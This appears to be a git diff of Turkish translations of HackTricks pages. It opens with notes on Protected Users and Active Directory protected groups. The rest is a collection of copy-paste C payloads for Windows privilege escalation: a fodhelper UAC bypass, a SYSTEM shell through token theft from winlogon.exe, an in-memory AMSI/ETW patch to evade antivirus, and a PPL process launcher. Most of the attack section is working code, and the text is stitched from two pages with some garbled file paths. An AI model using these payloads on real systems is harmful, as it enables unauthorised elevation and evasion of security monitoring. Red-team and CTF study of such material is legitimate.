- **Kerberos**: For Protected Users, Kerberos authentication will not generate **DES** or **RC4 keys**, nor will it cache plain text credentials or long-term keys beyond the initial Ticket-Granting Ticket (TGT) acquisition.
- **Offline Sign-In**: Protected Users will not have a cached verifier created at sign-in or unlock, meaning offline sign-in is not supported for these accounts.
Bu korumalar, **Korunan Kullanıcılar grubuna** üye bir kullanıcının cihaza giriş yaptığı anda etkinleştirilir. Bu, çeşitli kimlik bilgisi tehlikelerine karşı koruma sağlamak için kritik güvenlik önlemlerinin alındığını garanti eder.
These protections are activated the moment a user, who is a member of the **Protected Users group**, signs into the device. This ensures that critical security measures are in place to safeguard against various methods of credential compromise.
Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) başvurun.
For more detailed information, consult the official [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
**Tablo** [**belgelerden**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
| Windows Server 2003 RTM | Windows Server 2003 SP1+ | <p>Windows Server 2012,<br>Windows Server 2008 R2,<br>Windows Server 2008</p> | Windows Server 2016 |
| ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- |
| Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri |
| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler |
| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler |
| Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri |
| Sertifika Yayımcıları | | | |
| Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri |
| Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri |
| Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler |
| | | | Kurumsal Anahtar Yöneticileri|
| | | | Anahtar Yöneticileri |
| Account Operators | Account Operators | Account Operators | Account Operators |
| Administrator | Administrator | Administrator | Administrator |
| Administrators | Administrators | Administrators | Administrators |
| Backup Operators | Backup Operators | Backup Operators | Backup Operators |
| Cert Publishers | | | |
| Domain Admins | Domain Admins | Domain Admins | Domain Admins |
| Domain Controllers | Domain Controllers | Domain Controllers | Domain Controllers |
| Enterprise Admins | Enterprise Admins | Enterprise Admins | Enterprise Admins |
| | | | Enterprise Key Admins |
| | | | Key Admins |
| Krbtgt | Krbtgt | Krbtgt | Krbtgt |
| Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri |
| | | Sadece Okuma Alan Denetleyicileri | Sadece Okuma Alan Denetleyicileri |
| Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | Çoğaltıcı |
| Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri |
| Print Operators | Print Operators | Print Operators | Print Operators |
| | | Read-only Domain Controllers | Read-only Domain Controllers |
| Replicator | Replicator | Replicator | Replicator |
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
| Server Operators | Server Operators | Server Operators | Server Operators |
## Kaynaklar
- [CreateProcessAsPPL minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
- [LSASS RunAsPPL background and internals](https://itm4n.github.io/lsass-runasppl/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Bu sayfa, **Windows Yerel Yetki Yükseltme** veya sonrası için kullanışlı olan **küçük, bağımsız C parçacıklarını** toplar. Her payload, **kopyala-yapıştır dostu** olacak şekilde tasarlanmıştır, yalnızca Windows API / C çalışma zamanı gerektirir ve `i686-w64-mingw32-gcc` (x86) veya `x86_64-w64-mingw32-gcc` (x64) ile derlenebilir.
Bu sayfa, Windows Local Privilege Escalation veya post-exploitation sırasında kullanışlı olan **küçük, kendi içinde bağımsız C snippet'lerini** toplar. Her payload, **kopyala-yapıştır dostu** olacak şekilde tasarlanmıştır, yalnızca Windows API / C runtime gerektirir ve `i686-w64-mingw32-gcc` (x86) veya `x86_64-w64-mingw32-gcc` (x64) ile derlenebilir.
> ⚠️ Bu payload'lar, işlemin gerekli minimum yetkilere sahip olduğunu varsayar (örneğin, `SeDebugPrivilege`, `SeImpersonatePrivilege` veya UAC atlatması için orta düzey bütünlük bağlamı). Bunlar, bir güvenlik açığını istismar etmenin rastgele yerel kod yürütmesine yol açtığı **kırmızı takım veya CTF ortamları** için tasarlanmıştır.
> ⚠️ Bu payload'ların, işlemin eylemi gerçekleştirmek için gerekli asgari ayrıcalıklara zaten sahip olduğunu varsaydığını unutmayın (ör. `SeDebugPrivilege`, `SeImpersonatePrivilege`, veya bir UAC bypass için medium-integrity context). Bu payloadlar, bir güvenlik açığının rastgele native kod çalıştırmaya yol açtığı **red-team veya CTF ortamları** için tasarlanmıştır.
---
@ -20,14 +20,14 @@ return 0;
```
---
## UAC Atlatma `fodhelper.exe` Kayıt Defteri İstismarı (Orta → Yüksek bütünlük)
Güvenilir ikili **`fodhelper.exe`** çalıştırıldığında, aşağıdaki kayıt defteri yolunu **`DelegateExecute` fiilini filtrelemeden** sorgular. Bu anahtarın altına komutumuzu yerleştirerek bir saldırgan, dosyayı diske bırakmadan UAC'yi atlayabilir.
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Güvenilir ikili **`fodhelper.exe`** çalıştırıldığında, aşağıdaki kayıt defteri yolunu **`DelegateExecute` fiilini filtrelemeden** sorgular. Bu anahtarın altına komutumuzu yerleştirerek bir saldırgan, UAC'yi *dosyayı diske yazmadan* bypass edebilir.
*Kayıt defteri yolu `fodhelper.exe` tarafından sorgulandı*
*`fodhelper.exe` tarafından sorgulanan kayıt defteri yolu*
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Bir yükseltilmiş `cmd.exe` açan minimal PoC:
Yükseltilmiş `cmd.exe` açan minimal PoC:
```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
@ -61,12 +61,12 @@ system("fodhelper.exe");
return 0;
}
```
*Windows 10 22H2 ve Windows 11 23H2'de (Temmuz 2025 yamanları) test edilmiştir. Bypass hala çalışıyor çünkü Microsoft `DelegateExecute` yolundaki eksik bütünlük kontrolünü düzeltmedi.*
*Windows 10 22H2 ve Windows 11 23H2 (Temmuz 2025 yamaları) üzerinde test edildi. Bypass hâlâ çalışıyor çünkü Microsoft `DelegateExecute` yolundaki eksik bütünlük denetimini düzeltmedi.*
---
## Token çoğaltma ile SYSTEM shell oluşturma (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Eğer mevcut süreç **her iki** `SeDebug` ve `SeImpersonate` ayrıcalıklarına sahipse (birçok hizmet hesabı için tipik), `winlogon.exe`'den token'ı çalabilir, çoğaltabilir ve yükseltilmiş bir süreç başlatabilirsiniz:
## Token çoğaltma yoluyla SYSTEM shell başlatma (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Eğer mevcut süreç **hem** `SeDebug` hem de `SeImpersonate` ayrıcalıklarına sahipse (birçok servis hesabı için tipik), `winlogon.exe`'den token çalabilir, çoğaltabilir ve yükseltilmiş bir süreç başlatabilirsiniz:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Daha derin bir açıklama için:
Bunun nasıl çalıştığının daha derin bir açıklaması için bakınız:
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md
---
## Bellek İçi AMSI & ETW Yamanlama (Savunma Kaçışı)
Çoğu modern AV/EDR motoru, kötü niyetli davranışları incelemek için **AMSI** ve **ETW**'ye dayanır. Mevcut süreç içinde her iki arayüzü erken yamanamak, script tabanlı yüklerin (örneğin PowerShell, JScript) taranmasını engeller.
## Bellek içi AMSI & ETW Yaması (Defence Evasion)
Çoğu modern AV/EDR motoru, kötü amaçlı davranışları incelemek için **AMSI** ve **ETW**'ye güvenir. Her iki arayüzün de mevcut işlem içinde erken yamanması, script tabanlı payload'ların (ör. PowerShell, JScript) taranmasını engeller.
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*Yukarıdaki yamanın işlem yerelidir; bunu çalıştırdıktan sonra yeni bir PowerShell başlatmak, AMSI/ETW denetimi olmadan çalışacaktır.*
*Yukarıdaki yama işlem düzeyindedir; çalıştırdıktan sonra yeni bir PowerShell başlatmak AMSI/ETW denetimi olmadan yürütülecektir.*
---
## Referanslar
* Ron Bowes “Fodhelper UAC Bypass Derinlemesine İnceleme” (2024)
* SplinterCode “AMSI Bypass 2023: En Küçük Yama Hala Yeterli” (BlackHat Asya 2023)
## Alt süreci Protected Process Light (PPL) olarak oluştur
Oluşturma sırasında bir alt süreç için PPL koruma seviyesi isteğinde bulunun `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL` kullanarak. Bu belgelenmiş bir API'dir ve yalnızca hedef imaj istenen imzalayıcı sınıfı için imzalanmışsa başarılı olur (Windows/WindowsLight/Antimalware/LSA/WinTcb).
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
En yaygın kullanılan seviyeler:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Sonucu Process Explorer/Process Hacker ile Protection sütununu kontrol ederek doğrulayın.
---
## Kaynaklar
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL minimal PPL process launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}}